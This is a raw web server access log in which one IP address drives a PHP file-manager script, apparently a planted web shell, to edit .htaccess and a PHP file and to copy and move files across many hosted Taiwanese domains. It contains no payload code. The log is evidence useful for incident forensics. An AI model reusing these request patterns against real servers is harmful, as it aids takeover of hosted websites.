45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/wp-includes/?SA= HTTP/1.1" 200 9269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/wp-includes/?MA= HTTP/1.1" 200 9269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/wp-includes/?ND= HTTP/1.1" 200 9269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?edit=mah.php&p=bossini.com.tw HTTP/1.1" 200 24347 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 28075 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=ba-guo.com.tw HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=upgrade HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bestzyx.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22369 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bioway88.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=broadweb.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=beauty-dental.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22369 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=besth2o.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22384 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=betcity.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bft.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=cgi-bin HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bossini.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bodbooks.com.tw HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bestjudy.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wp-content-20260912023544 HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=bossini.com.tw HTTP/1.1" 200 16081 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p= HTTP/1.1" 200 12336 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?edit=.htaccess&p=bossini.com.tw HTTP/1.1" 200 12466 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19273 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19272 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22290 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2F.htaccess&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19273 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
